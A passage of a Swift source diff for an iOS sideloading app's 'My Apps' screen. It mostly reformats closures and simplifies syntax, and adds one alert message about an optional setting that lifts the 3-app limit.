print("Successfully installed app:", app.bundleIdentifier)
|
||||||
}
|
}
|
||||||
|
|
||||||
case .failure(OperationError.cancelled):
|
case .failure(OperationError.cancelled):
|
||||||
completion(.failure((OperationError.cancelled)))
|
completion(.failure(OperationError.cancelled))
|
||||||
|
|
||||||
case .failure(let error):
|
case .failure(let error):
|
||||||
let toastView = ToastView(error: error)
|
let toastView = ToastView(error: error)
|
||||||
@@ -937,11 +958,17 @@ private extension MyAppsViewController
|
|||||||
|
|
||||||
@objc func presentInactiveAppsAlert()
|
@objc func presentInactiveAppsAlert()
|
||||||
{
|
{
|
||||||
let message: String
|
var message: String
|
||||||
|
|
||||||
if UserDefaults.standard.activeAppLimitIncludesExtensions
|
if UserDefaults.standard.activeAppLimitIncludesExtensions
|
||||||
{
|
{
|
||||||
message = NSLocalizedString("Non-developer Apple IDs are limited to 3 apps and app extensions. Inactive apps don't count towards your total, but cannot be opened until activated.", comment: "")
|
message = NSLocalizedString("Non-developer Apple IDs are limited to 3 apps and app extensions. Inactive apps don't count towards your total, but cannot be opened until activated.", comment: "")
|
||||||
|
|
||||||
|
if UserDefaults.standard.enableCowExploit
|
||||||
|
{
|
||||||
|
message += "\n\n"
|
||||||
|
message += NSLocalizedString("If you've enabled the exploit in settings to remove the 3-app limit, you can install up to 10 apps and app extensions per Apple ID instead.", comment: "")
|
||||||
|
}
|
||||||
}
|
}
|
||||||
else
|
else
|
||||||
{
|
{
|
||||||
@@ -981,13 +1008,15 @@ private extension MyAppsViewController
|
|||||||
let message = firstSentence + " " + NSLocalizedString("Would you like to remove this app's extensions so they don't count towards your limit?", comment: "")
|
let message = firstSentence + " " + NSLocalizedString("Would you like to remove this app's extensions so they don't count towards your limit?", comment: "")
|
||||||
|
|
||||||
let alertController = UIAlertController(title: NSLocalizedString("App Contains Extensions", comment: ""), message: message, preferredStyle: .alert)
|
let alertController = UIAlertController(title: NSLocalizedString("App Contains Extensions", comment: ""), message: message, preferredStyle: .alert)
|
||||||
alertController.addAction(UIAlertAction(title: UIAlertAction.cancel.title, style: UIAlertAction.cancel.style, handler: { (action) in
|
alertController.addAction(UIAlertAction(title: UIAlertAction.cancel.title, style: UIAlertAction.cancel.style, handler: { _ in
|
||||||
completion(.failure(OperationError.cancelled))
|
completion(.failure(OperationError.cancelled))
|
||||||
}))
|
}))
|
||||||
alertController.addAction(UIAlertAction(title: NSLocalizedString("Keep App Extensions", comment: ""), style: .default) { (action) in
|
alertController.addAction(UIAlertAction(title: NSLocalizedString("Keep App Extensions", comment: ""), style: .default)
|
||||||
|
{ _ in
|
||||||
completion(.success(()))
|
completion(.success(()))
|
||||||
})
|
})
|
||||||
alertController.addAction(UIAlertAction(title: NSLocalizedString("Remove App Extensions", comment: ""), style: .destructive) { (action) in
|
alertController.addAction(UIAlertAction(title: NSLocalizedString("Remove App Extensions", comment: ""), style: .destructive)
|
||||||
|
{ _ in
|
||||||
do
|
do
|
||||||
{
|
{
|
||||||
for appExtension in application.appExtensions
|
for appExtension in application.appExtensions
|
||||||
@@ -1011,7 +1040,8 @@ private extension MyAppsViewController
|
|||||||
{
|
{
|
||||||
func open(_ installedApp: InstalledApp)
|
func open(_ installedApp: InstalledApp)
|
||||||
{
|
{
|
||||||
UIApplication.shared.open(installedApp.openAppURL) { success in
|
UIApplication.shared.open(installedApp.openAppURL)
|
||||||
|
{ success in
|
||||||
guard !success else { return }
|
guard !success else { return }
|
||||||
|
|
||||||
let toastView = ToastView(error: OperationError.openAppFailed(name: installedApp.name))
|
let toastView = ToastView(error: OperationError.openAppFailed(name: installedApp.name))
|
||||||
@@ -1022,16 +1052,20 @@ private extension MyAppsViewController
|
|||||||
func refresh(_ installedApp: InstalledApp)
|
func refresh(_ installedApp: InstalledApp)
|
||||||
{
|
{
|
||||||
let previousProgress = AppManager.shared.refreshProgress(for: installedApp)
|
let previousProgress = AppManager.shared.refreshProgress(for: installedApp)
|
||||||
guard previousProgress == nil else {
|
guard previousProgress == nil
|
||||||
|
else
|
||||||
|
{
|
||||||
previousProgress?.cancel()
|
previousProgress?.cancel()
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
self.refresh([installedApp]) { (results) in
|
self.refresh([installedApp])
|
||||||
|
{ results in
|
||||||
// If an error occured, reload the section so the progress bar is no longer visible.
|
// If an error occured, reload the section so the progress bar is no longer visible.
|
||||||
if results.values.contains(where: { $0.error != nil })
|
if results.values.contains(where: { $0.error != nil })
|
||||||
{
|
{
|
||||||
DispatchQueue.main.async {
|
DispatchQueue.main.async
|
||||||
|
{
|
||||||
self.collectionView.reloadSections([Section.activeApps.rawValue, Section.inactiveApps.rawValue])
|
self.collectionView.reloadSections([Section.activeApps.rawValue, Section.inactiveApps.rawValue])
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -1047,7 +1081,8 @@ private extension MyAppsViewController
|
|||||||
do
|
do
|
||||||
{
|
{
|
||||||
let app = try result.get()
|
let app = try result.get()
|
||||||
app.managedObjectContext?.perform {
|
app.managedObjectContext?.perform
|
||||||
|
{
|
||||||
try? app.managedObjectContext?.save()
|
try? app.managedObjectContext?.save()
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -1059,7 +1094,8 @@ private extension MyAppsViewController
|
|||||||
{
|
{
|
||||||
print("Failed to activate app:", error)
|
print("Failed to activate app:", error)
|
||||||
|
|
||||||
DispatchQueue.main.async {
|
DispatchQueue.main.async
|
||||||
|
{
|
||||||
installedApp.isActive = false
|
installedApp.isActive = false
|
||||||
|
|
||||||
let toastView = ToastView(error: error)
|
let toastView = ToastView(error: error)
|
||||||
@@ -1080,11 +1116,13 @@ private extension MyAppsViewController
|
|||||||
.filter(\.isActive)
|
.filter(\.isActive)
|
||||||
.map { $0.publisher(for: \.isActive) }
|
.map { $0.publisher(for: \.isActive) }
|
||||||
.collect()
|
.collect()
|
||||||
.flatMap { publishers in
|
.flatMap
|
||||||
|
{ publishers in
|
||||||
Publishers.MergeMany(publishers)
|
Publishers.MergeMany(publishers)
|
||||||
}
|
}
|
||||||
.first { isActive in !isActive }
|
.first { isActive in !isActive }
|
||||||
.sink { _ in
|
.sink
|
||||||
|
{ _ in
|
||||||
// A previously active app is now inactive,
|
// A previously active app is now inactive,
|
||||||
// which means there are now enough slots to activate the app,
|
// which means there are now enough slots to activate the app,
|
||||||
// so pre-emptively mark it as active to provide visual feedback sooner.
|
// so pre-emptively mark it as active to provide visual feedback sooner.
|
||||||
@@ -1092,9 +1130,11 @@ private extension MyAppsViewController
|
|||||||
cancellable?.cancel()
|
cancellable?.cancel()
|
||||||
}
|
}
|
||||||
|
|
||||||
AppManager.shared.deactivateApps(for: app, presentingViewController: self) { result in
|
AppManager.shared.deactivateApps(for: app, presentingViewController: self)
|
||||||
|
{ result in
|
||||||
cancellable?.cancel()
|
cancellable?.cancel()
|
||||||
installedApp.managedObjectContext?.perform {
|
installedApp.managedObjectContext?.perform
|
||||||
|
{
|
||||||
switch result
|
switch result
|
||||||
{
|
{
|
||||||
case .failure(let error):
|
case .failure(let error):
|
||||||
@@ -1120,7 +1160,8 @@ private extension MyAppsViewController
|
|||||||
guard installedApp.isActive else { return }
|
guard installedApp.isActive else { return }
|
||||||
installedApp.isActive = false
|
installedApp.isActive = false
|
||||||
|
|
||||||
AppManager.shared.deactivate(installedApp, presentingViewController: self) { (result) in
|
AppManager.shared.deactivate(installedApp, presentingViewController: self)
|
||||||
|
{ result in
|
||||||
do
|
do
|
||||||
{
|
{
|
||||||
let app = try result.get()
|
let app = try result.get()
|
||||||
@@ -1132,7 +1173,8 @@ private extension MyAppsViewController
|
|||||||
{
|
{
|
||||||
print("Failed to activate app:", error)
|
print("Failed to activate app:", error)
|
||||||
|
|
||||||
DispatchQueue.main.async {
|
DispatchQueue.main.async
|
||||||
|
{
|
||||||
installedApp.isActive = true
|
installedApp.isActive = true
|
||||||
|
|
||||||
let toastView = ToastView(error: error)
|
let toastView = ToastView(error: error)
|
||||||
@@ -1160,13 +1202,15 @@ private extension MyAppsViewController
|
|||||||
|
|
||||||
let alertController = UIAlertController(title: title, message: message, preferredStyle: .actionSheet)
|
let alertController = UIAlertController(title: title, message: message, preferredStyle: .actionSheet)
|
||||||
alertController.addAction(.cancel)
|
alertController.addAction(.cancel)
|
||||||
alertController.addAction(UIAlertAction(title: NSLocalizedString("Remove", comment: ""), style: .destructive, handler: { (action) in
|
alertController.addAction(UIAlertAction(title: NSLocalizedString("Remove", comment: ""), style: .destructive, handler: { _ in
|
||||||
AppManager.shared.remove(installedApp) { (result) in
|
AppManager.shared.remove(installedApp)
|
||||||
|
{ result in
|
||||||
switch result
|
switch result
|
||||||
{
|
{
|
||||||
case .success: break
|
case .success: break
|
||||||
case .failure(let error):
|
case .failure(let error):
|
||||||
DispatchQueue.main.async {
|
DispatchQueue.main.async
|
||||||
|
{
|
||||||
let toastView = ToastView(error: error)
|
let toastView = ToastView(error: error)
|
||||||
toastView.show(in: self)
|
toastView.show(in: self)
|
||||||
}
|
}
|
||||||
@@ -1186,8 +1230,9 @@ private extension MyAppsViewController
|
|||||||
alertController.addAction(.cancel)
|
alertController.addAction(.cancel)
|
||||||
|
|
||||||
let actionTitle = String(format: NSLocalizedString("Back Up %@", comment: ""), installedApp.name)
|
let actionTitle = String(format: NSLocalizedString("Back Up %@", comment: ""), installedApp.name)
|
||||||
alertController.addAction(UIAlertAction(title: actionTitle, style: .default, handler: { (action) in
|
alertController.addAction(UIAlertAction(title: actionTitle, style: .default, handler: { _ in
|
||||||
AppManager.shared.backup(installedApp, presentingViewController: self) { (result) in
|
AppManager.shared.backup(installedApp, presentingViewController: self)
|
||||||
|
{ result in
|
||||||
do
|
do
|
||||||
{
|
{
|
||||||
let app = try result.get()
|
let app = try result.get()
|
||||||
@@ -1199,7 +1244,8 @@ private extension MyAppsViewController
|
|||||||
{
|
{
|
||||||
print("Failed to back up app:", error)
|
print("Failed to back up app:", error)
|
||||||
|
|
||||||
DispatchQueue.main.async {
|
DispatchQueue.main.async
|
||||||
|
{
|
||||||
let toastView = ToastView(error: error)
|
let toastView = ToastView(error: error)
|
||||||
toastView.show(in: self)
|
toastView.show(in: self)
|
||||||
|
|
||||||
@@ -1208,7 +1254,8 @@ private extension MyAppsViewController
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
DispatchQueue.main.async {
|
DispatchQueue.main.async
|
||||||
|
{
|
||||||
self.collectionView.reloadSections([Section.activeApps.rawValue, Section.inactiveApps.rawValue])
|
self.collectionView.reloadSections([Section.activeApps.rawValue, Section.inactiveApps.rawValue])
|
||||||
}
|
}
|
||||||
}))
|
}))
|
||||||
@@ -1221,8 +1268,9 @@ private extension MyAppsViewController
|
|||||||
let message = String(format: NSLocalizedString("This will replace all data you currently have in %@.", comment: ""), installedApp.name)
|
let message = String(format: NSLocalizedString("This will replace all data you currently have in %@.", comment: ""), installedApp.name)
|
||||||
let alertController = UIAlertController(title: NSLocalizedString("Are you sure you want to restore this backup?", comment: ""), message: message, preferredStyle: .actionSheet)
|
let alertController = UIAlertController(title: NSLocalizedString("Are you sure you want to restore this backup?", comment: ""), message: message, preferredStyle: .actionSheet)
|
||||||
alertController.addAction(.cancel)
|
alertController.addAction(.cancel)
|
||||||
alertController.addAction(UIAlertAction(title: NSLocalizedString("Restore Backup", comment: ""), style: .destructive, handler: { (action) in
|
alertController.addAction(UIAlertAction(title: NSLocalizedString("Restore Backup", comment: ""), style: .destructive, handler: { _ in
|
||||||
AppManager.shared.restore(installedApp, presentingViewController: self) { (result) in
|
AppManager.shared.restore(installedApp, presentingViewController: self)
|
||||||
|
{ result in
|
||||||
do
|
do
|
||||||
{
|
{
|
||||||
let app = try result.get()
|
let app = try result.get()
|
||||||
@@ -1234,14 +1282,16 @@ private extension MyAppsViewController
|
|||||||
{
|
{
|
||||||
print("Failed to restore app:", error)
|
print("Failed to restore app:", error)
|
||||||
|
|
||||||
DispatchQueue.main.async {
|
DispatchQueue.main.async
|
||||||
|
{
|
||||||
let toastView = ToastView(error: error)
|
let toastView = ToastView(error: error)
|
||||||
toastView.show(in: self)
|
toastView.show(in: self)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
DispatchQueue.main.async {
|
DispatchQueue.main.async
|
||||||
|
{
|
||||||
self.collectionView.reloadSections([Section.activeApps.rawValue])
|
self.collectionView.reloadSections([Section.activeApps.rawValue])
|
||||||
}
|
}
|
||||||
}))
|
}))
|
||||||
@@ -1274,7 +1324,8 @@ private extension MyAppsViewController
|
|||||||
self.activeAppsDataSource.prefetchItemCache.removeObject(forKey: installedApp)
|
self.activeAppsDataSource.prefetchItemCache.removeObject(forKey: installedApp)
|
||||||
self.inactiveAppsDataSource.prefetchItemCache.removeObject(forKey: installedApp)
|
self.inactiveAppsDataSource.prefetchItemCache.removeObject(forKey: installedApp)
|
||||||
|
|
||||||
DatabaseManager.shared.persistentContainer.performBackgroundTask { (context) in
|
DatabaseManager.shared.persistentContainer.performBackgroundTask
|
||||||
|
{ context in
|
||||||
do
|
do
|
||||||
{
|
{
|
||||||
let tempApp = context.object(with: installedApp.objectID) as! InstalledApp
|
let tempApp = context.object(with: installedApp.objectID) as! InstalledApp
|
||||||
@@ -1298,7 +1349,8 @@ private extension MyAppsViewController
|
|||||||
|
|
||||||
if tempApp.isActive
|
if tempApp.isActive
|
||||||
{
|
{
|
||||||
DispatchQueue.main.async {
|
DispatchQueue.main.async
|
||||||
|
{
|
||||||
self.refresh(installedApp)
|
self.refresh(installedApp)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -1307,7 +1359,8 @@ private extension MyAppsViewController
|
|||||||
{
|
{
|
||||||
print("Failed to change app icon.", error)
|
print("Failed to change app icon.", error)
|
||||||
|
|
||||||
DispatchQueue.main.async {
|
DispatchQueue.main.async
|
||||||
|
{
|
||||||
let toastView = ToastView(error: error)
|
let toastView = ToastView(error: error)
|
||||||
toastView.show(in: self)
|
toastView.show(in: self)
|
||||||
}
|
}
|
||||||
@@ -1318,8 +1371,10 @@ private extension MyAppsViewController
|
|||||||
@available(iOS 14, *)
|
@available(iOS 14, *)
|
||||||
func enableJIT(for installedApp: InstalledApp)
|
func enableJIT(for installedApp: InstalledApp)
|
||||||
{
|
{
|
||||||
AppManager.shared.enableJIT(for: installedApp) { result in
|
AppManager.shared.enableJIT(for: installedApp)
|
||||||
DispatchQueue.main.async {
|
{ result in
|
||||||
|
DispatchQueue.main.async
|
||||||
|
{
|
||||||
switch result
|
switch result
|
||||||
{
|
{
|
||||||
case .success: break
|
case .success: break
|
||||||
@@ -1336,7 +1391,8 @@ private extension MyAppsViewController
|
|||||||
{
|
{
|
||||||
@objc func didFetchSource(_ notification: Notification)
|
@objc func didFetchSource(_ notification: Notification)
|
||||||
{
|
{
|
||||||
DispatchQueue.main.async {
|
DispatchQueue.main.async
|
||||||
|
{
|
||||||
if self.updatesDataSource.fetchedResultsController.fetchedObjects == nil
|
if self.updatesDataSource.fetchedResultsController.fetchedObjects == nil
|
||||||
{
|
{
|
||||||
do { try self.updatesDataSource.fetchedResultsController.performFetch() }
|
do { try self.updatesDataSource.fetchedResultsController.performFetch() }
|
||||||
@@ -1354,7 +1410,8 @@ private extension MyAppsViewController
|
|||||||
|
|
||||||
guard let url = notification.userInfo?[AppDelegate.importAppDeepLinkURLKey] as? URL else { return }
|
guard let url = notification.userInfo?[AppDelegate.importAppDeepLinkURLKey] as? URL else { return }
|
||||||
|
|
||||||
self.sideloadApp(at: url) { (result) in
|
self.sideloadApp(at: url)
|
||||||
|
{ _ in
|
||||||
guard url.isFileURL else { return }
|
guard url.isFileURL else { return }
|
||||||
|
|
||||||
do
|
do
|
||||||
@@ -1381,7 +1438,8 @@ extension MyAppsViewController
|
|||||||
case .updates:
|
case .updates:
|
||||||
let headerView = collectionView.dequeueReusableSupplementaryView(ofKind: UICollectionView.elementKindSectionHeader, withReuseIdentifier: "UpdatesHeader", for: indexPath) as! UpdatesCollectionHeaderView
|
let headerView = collectionView.dequeueReusableSupplementaryView(ofKind: UICollectionView.elementKindSectionHeader, withReuseIdentifier: "UpdatesHeader", for: indexPath) as! UpdatesCollectionHeaderView
|
||||||
|
|
||||||
UIView.performWithoutAnimation {
|
UIView.performWithoutAnimation
|
||||||
|
{
|
||||||
headerView.button.backgroundColor = UIColor.altPrimary.withAlphaComponent(0.15)
|
headerView.button.backgroundColor = UIColor.altPrimary.withAlphaComponent(0.15)
|
||||||
headerView.button.setTitle("▾", for: .normal)
|
headerView.button.setTitle("▾", for: .normal)
|
||||||
headerView.button.titleLabel?.font = UIFont.boldSystemFont(ofSize: 28)
|
headerView.button.titleLabel?.font = UIFont.boldSystemFont(ofSize: 28)
|
||||||
@@ -1407,7 +1465,8 @@ extension MyAppsViewController
|
|||||||
case .activeApps where kind == UICollectionView.elementKindSectionHeader:
|
case .activeApps where kind == UICollectionView.elementKindSectionHeader:
|
||||||
let headerView = collectionView.dequeueReusableSupplementaryView(ofKind: UICollectionView.elementKindSectionHeader, withReuseIdentifier: "ActiveAppsHeader", for: indexPath) as! InstalledAppsCollectionHeaderView
|
let headerView = collectionView.dequeueReusableSupplementaryView(ofKind: UICollectionView.elementKindSectionHeader, withReuseIdentifier: "ActiveAppsHeader", for: indexPath) as! InstalledAppsCollectionHeaderView
|
||||||
|
|
||||||
UIView.performWithoutAnimation {
|
UIView.performWithoutAnimation
|
||||||
|
{
|
||||||
headerView.layoutMargins.left = self.view.layoutMargins.left
|
headerView.layoutMargins.left = self.view.layoutMargins.left
|
||||||
headerView.layoutMargins.right = self.view.layoutMargins.right
|
headerView.layoutMargins.right = self.view.layoutMargins.right
|
||||||
|
|
||||||
@@ -1445,7 +1504,8 @@ extension MyAppsViewController
|
|||||||
case .inactiveApps where kind == UICollectionView.elementKindSectionHeader:
|
case .inactiveApps where kind == UICollectionView.elementKindSectionHeader:
|
||||||
let headerView = collectionView.dequeueReusableSupplementaryView(ofKind: UICollectionView.elementKindSectionHeader, withReuseIdentifier: "InactiveAppsHeader", for: indexPath) as! InstalledAppsCollectionHeaderView
|
let headerView = collectionView.dequeueReusableSupplementaryView(ofKind: UICollectionView.elementKindSectionHeader, withReuseIdentifier: "InactiveAppsHeader", for: indexPath) as! InstalledAppsCollectionHeaderView
|
||||||
|
|
||||||
UIView.performWithoutAnimation {
|
UIView.performWithoutAnimation
|
||||||
|
{
|
||||||
headerView.layoutMargins.left = self.view.layoutMargins.left
|
headerView.layoutMargins.left = self.view.layoutMargins.left
|
||||||
headerView.layoutMargins.right = self.view.layoutMargins.right
|
headerView.layoutMargins.right = self.view.layoutMargins.right
|
||||||
|
|
||||||
@@ -1514,50 +1574,61 @@ extension MyAppsViewController
|
|||||||
{
|
{
|
||||||
var actions = [UIMenuElement]()
|
var actions = [UIMenuElement]()
|
||||||
|
|
||||||
let openAction = UIAction(title: NSLocalizedString("Open", comment: ""), image: UIImage(systemName: "arrow.up.forward.app")) { (action) in
|
let openAction = UIAction(title: NSLocalizedString("Open", comment: ""), image: UIImage(systemName: "arrow.up.forward.app"))
|
||||||
|
{ _ in
|
||||||
self.open(installedApp)
|
self.open(installedApp)
|
||||||
}
|
}
|
||||||
|
|
||||||
let openMenu = UIMenu(title: "", options: .displayInline, children: [openAction])
|
let openMenu = UIMenu(title: "", options: .displayInline, children: [openAction])
|
||||||
|
|
||||||
let refreshAction = UIAction(title: NSLocalizedString("Refresh", comment: ""), image: UIImage(systemName: "arrow.clockwise")) { (action) in
|
let refreshAction = UIAction(title: NSLocalizedString("Refresh", comment: ""), image: UIImage(systemName: "arrow.clockwise"))
|
||||||
|
{ _ in
|
||||||
self.refresh(installedApp)
|
self.refresh(installedApp)
|
||||||
}
|
}
|
||||||
|
|
||||||
let activateAction = UIAction(title: NSLocalizedString("Activate", comment: ""), image: UIImage(systemName: "checkmark.circle")) { (action) in
|
let activateAction = UIAction(title: NSLocalizedString("Activate", comment: ""), image: UIImage(systemName: "checkmark.circle"))
|
||||||
|
{ _ in
|
||||||
self.activate(installedApp)
|
self.activate(installedApp)
|
||||||
}
|
}
|
||||||
|
|
||||||
let deactivateAction = UIAction(title: NSLocalizedString("Deactivate", comment: ""), image: UIImage(systemName: "xmark.circle"), attributes: .destructive) { (action) in
|
let deactivateAction = UIAction(title: NSLocalizedString("Deactivate", comment: ""), image: UIImage(systemName: "xmark.circle"), attributes: .destructive)
|
||||||
|
{ _ in
|
||||||
self.deactivate(installedApp)
|
self.deactivate(installedApp)
|
||||||
}
|
}
|
||||||
|
|
||||||
let removeAction = UIAction(title: NSLocalizedString("Remove", comment: ""), image: UIImage(systemName: "trash"), attributes: .destructive) { (action) in
|
let removeAction = UIAction(title: NSLocalizedString("Remove", comment: ""), image: UIImage(systemName: "trash"), attributes: .destructive)
|
||||||
|
{ _ in
|
||||||
self.remove(installedApp)
|
self.remove(installedApp)
|
||||||
}
|
}
|
||||||
|
|
||||||
let jitAction = UIAction(title: NSLocalizedString("Enable JIT", comment: ""), image: UIImage(systemName: "bolt")) { (action) in
|
let jitAction = UIAction(title: NSLocalizedString("Enable JIT", comment: ""), image: UIImage(systemName: "bolt"))
|
||||||
|
{ _ in
|
||||||
guard #available(iOS 14, *) else { return }
|
guard #available(iOS 14, *) else { return }
|
||||||
self.enableJIT(for: installedApp)
|
self.enableJIT(for: installedApp)
|
||||||
}
|
}
|
||||||
|
|
||||||
let backupAction = UIAction(title: NSLocalizedString("Back Up", comment: ""), image: UIImage(systemName: "doc.on.doc")) { (action) in
|
let backupAction = UIAction(title: NSLocalizedString("Back Up", comment: ""), image: UIImage(systemName: "doc.on.doc"))
|
||||||
|
{ _ in
|
||||||
self.backup(installedApp)
|
self.backup(installedApp)
|
||||||
}
|
}
|
||||||
|
|
||||||
let exportBackupAction = UIAction(title: NSLocalizedString("Export Backup", comment: ""), image: UIImage(systemName: "arrow.up.doc")) { (action) in
|
let exportBackupAction = UIAction(title: NSLocalizedString("Export Backup", comment: ""), image: UIImage(systemName: "arrow.up.doc"))
|
||||||
|
{ _ in
|
||||||
self.exportBackup(for: installedApp)
|
self.exportBackup(for: installedApp)
|
||||||
}
|
}
|
||||||
|
|
||||||
let restoreBackupAction = UIAction(title: NSLocalizedString("Restore Backup", comment: ""), image: UIImage(systemName: "arrow.down.doc")) { (action) in
|
let restoreBackupAction = UIAction(title: NSLocalizedString("Restore Backup", comment: ""), image: UIImage(systemName: "arrow.down.doc"))
|
||||||
|
{ _ in
|
||||||
self.restore(installedApp)
|
self.restore(installedApp)
|
||||||
}
|
}
|
||||||
|
|
||||||
let chooseIconAction = UIAction(title: NSLocalizedString("Photos", comment: ""), image: UIImage(systemName: "photo")) { (action) in
|
let chooseIconAction = UIAction(title: NSLocalizedString("Photos", comment: ""), image: UIImage(systemName: "photo"))
|
||||||
|
{ _ in
|
||||||
self.chooseIcon(for: installedApp)
|
self.chooseIcon(for: installedApp)
|
||||||
}
|
}
|
||||||
|
|
||||||
let removeIconAction = UIAction(title: NSLocalizedString("Remove Custom Icon", comment: ""), image: UIImage(systemName: "trash"), attributes: [.destructive]) { (action) in
|
let removeIconAction = UIAction(title: NSLocalizedString("Remove Custom Icon", comment: ""), image: UIImage(systemName: "trash"), attributes: [.destructive])
|
||||||
|
{ _ in
|
||||||
self.changeIcon(for: installedApp, to: nil)
|
self.changeIcon(for: installedApp, to: nil)
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -1569,7 +1640,9 @@ extension MyAppsViewController
|
|||||||
|
|
||||||
let changeIconMenu = UIMenu(title: NSLocalizedString("Change Icon", comment: ""), image: UIImage(systemName: "photo"), children: changeIconActions)
|
let changeIconMenu = UIMenu(title: NSLocalizedString("Change Icon", comment: ""), image: UIImage(systemName: "photo"), children: changeIconActions)
|
||||||
|
|
||||||
guard installedApp.bundleIdentifier != StoreApp.altstoreAppID else {
|
guard installedApp.bundleIdentifier != StoreApp.altstoreAppID
|
||||||
|
else
|
||||||
|
{
|
||||||
#if BETA
|
#if BETA
|
||||||
return [refreshAction, changeIconMenu]
|
return [refreshAction, changeIconMenu]
|
||||||
#else
|
#else
|
||||||
@@ -1612,9 +1685,10 @@ extension MyAppsViewController
|
|||||||
if let backupDirectoryURL = FileManager.default.backupDirectoryURL(for: installedApp)
|
if let backupDirectoryURL = FileManager.default.backupDirectoryURL(for: installedApp)
|
||||||
{
|
{
|
||||||
var backupExists = false
|
var backupExists = false
|
||||||
var outError: NSError? = nil
|
var outError: NSError?
|
||||||
|
|
||||||
self.coordinator.coordinate(readingItemAt: backupDirectoryURL, options: [.withoutChanges], error: &outError) { (backupDirectoryURL) in
|
self.coordinator.coordinate(readingItemAt: backupDirectoryURL, options: [.withoutChanges], error: &outError)
|
||||||
|
{ backupDirectoryURL in
|
||||||
#if DEBUG
|
#if DEBUG
|
||||||
backupExists = true
|
backupExists = true
|
||||||
#else
|
#else
|
||||||
@@ -1656,7 +1730,7 @@ extension MyAppsViewController
|
|||||||
// Legacy sideloaded app, so can't detect if it's deleted.
|
// Legacy sideloaded app, so can't detect if it's deleted.
|
||||||
actions.append(removeAction)
|
actions.append(removeAction)
|
||||||
}
|
}
|
||||||
else if !UserDefaults.standard.isLegacyDeactivationSupported && !installedApp.isActive
|
else if !UserDefaults.standard.isLegacyDeactivationSupported, !installedApp.isActive
|
||||||
{
|
{
|
||||||
// Inactive apps are actually deleted, so we need another way
|
// Inactive apps are actually deleted, so we need another way
|
||||||
// for user to remove them from AltStore.
|
// for user to remove them from AltStore.
|
||||||
@@ -1677,7 +1751,8 @@ extension MyAppsViewController
|
|||||||
case .activeApps, .inactiveApps:
|
case .activeApps, .inactiveApps:
|
||||||
let installedApp = self.dataSource.item(at: indexPath)
|
let installedApp = self.dataSource.item(at: indexPath)
|
||||||
|
|
||||||
return UIContextMenuConfiguration(identifier: indexPath as NSIndexPath, previewProvider: nil) { (suggestedActions) -> UIMenu? in
|
return UIContextMenuConfiguration(identifier: indexPath as NSIndexPath, previewProvider: nil)
|
||||||
|
{ _ -> UIMenu? in
|
||||||
let actions = self.actions(for: installedApp)
|
let actions = self.actions(for: installedApp)
|
||||||
|
|
||||||
let menu = UIMenu(title: "", children: actions)
|
let menu = UIMenu(title: "", children: actions)
|
||||||
@@ -1875,7 +1950,7 @@ extension MyAppsViewController: UICollectionViewDropDelegate
|
|||||||
let inactiveAppsHeaderAttributes = collectionView.layoutAttributesForSupplementaryElement(ofKind: UICollectionView.elementKindSectionHeader, at: IndexPath(item: 0, section: Section.inactiveApps.rawValue))
|
let inactiveAppsHeaderAttributes = collectionView.layoutAttributesForSupplementaryElement(ofKind: UICollectionView.elementKindSectionHeader, at: IndexPath(item: 0, section: Section.inactiveApps.rawValue))
|
||||||
else { return UICollectionViewDropProposal(operation: .cancel) }
|
else { return UICollectionViewDropProposal(operation: .cancel) }
|
||||||
|
|
||||||
var dropDestinationIndexPath: IndexPath? = nil
|
var dropDestinationIndexPath: IndexPath?
|
||||||
|
|
||||||
defer
|
defer
|
||||||
{
|
{
|
||||||
@@ -1888,7 +1963,8 @@ extension MyAppsViewController: UICollectionViewDropDelegate
|
|||||||
|
|
||||||
let indexPaths = [previousIndexPath, dropDestinationIndexPath].compactMap { $0 }
|
let indexPaths = [previousIndexPath, dropDestinationIndexPath].compactMap { $0 }
|
||||||
|
|
||||||
let propertyAnimator = UIViewPropertyAnimator(springTimingParameters: UISpringTimingParameters()) {
|
let propertyAnimator = UIViewPropertyAnimator(springTimingParameters: UISpringTimingParameters())
|
||||||
|
{
|
||||||
for indexPath in indexPaths
|
for indexPath in indexPaths
|
||||||
{
|
{
|
||||||
// Access cell directly so we can animate it correctly.
|
// Access cell directly so we can animate it correctly.
|
||||||
@@ -1924,12 +2000,16 @@ extension MyAppsViewController: UICollectionViewDropDelegate
|
|||||||
{
|
{
|
||||||
// Activating
|
// Activating
|
||||||
|
|
||||||
guard point.y > activeAppsHeaderAttributes.frame.minY else {
|
guard point.y > activeAppsHeaderAttributes.frame.minY
|
||||||
|
else
|
||||||
|
{
|
||||||
// Above active apps section.
|
// Above active apps section.
|
||||||
return UICollectionViewDropProposal(operation: .cancel)
|
return UICollectionViewDropProposal(operation: .cancel)
|
||||||
}
|
}
|
||||||
|
|
||||||
guard point.y < inactiveAppsHeaderAttributes.frame.minY else {
|
guard point.y < inactiveAppsHeaderAttributes.frame.minY
|
||||||
|
else
|
||||||
|
{
|
||||||
// Inactive apps section.
|
// Inactive apps section.
|
||||||
return UICollectionViewDropProposal(operation: .move, intent: .insertAtDestinationIndexPath)
|
return UICollectionViewDropProposal(operation: .move, intent: .insertAtDestinationIndexPath)
|
||||||
}
|
}
|
||||||
@@ -1947,13 +2027,17 @@ extension MyAppsViewController: UICollectionViewDropDelegate
|
|||||||
// Not enough active app slots, so we need to deactivate an app.
|
// Not enough active app slots, so we need to deactivate an app.
|
||||||
|
|
||||||
// Provided destinationIndexPath is inaccurate.
|
// Provided destinationIndexPath is inaccurate.
|
||||||
guard let indexPath = collectionView.indexPathForItem(at: point), indexPath.section == Section.activeApps.rawValue else {
|
guard let indexPath = collectionView.indexPathForItem(at: point), indexPath.section == Section.activeApps.rawValue
|
||||||
|
else
|
||||||
|
{
|
||||||
// Invalid destination index path.
|
// Invalid destination index path.
|
||||||
return UICollectionViewDropProposal(operation: .cancel)
|
return UICollectionViewDropProposal(operation: .cancel)
|
||||||
}
|
}
|
||||||
|
|
||||||
let installedApp = self.dataSource.item(at: indexPath)
|
let installedApp = self.dataSource.item(at: indexPath)
|
||||||
guard installedApp.bundleIdentifier != StoreApp.altstoreAppID else {
|
guard installedApp.bundleIdentifier != StoreApp.altstoreAppID
|
||||||
|
else
|
||||||
|
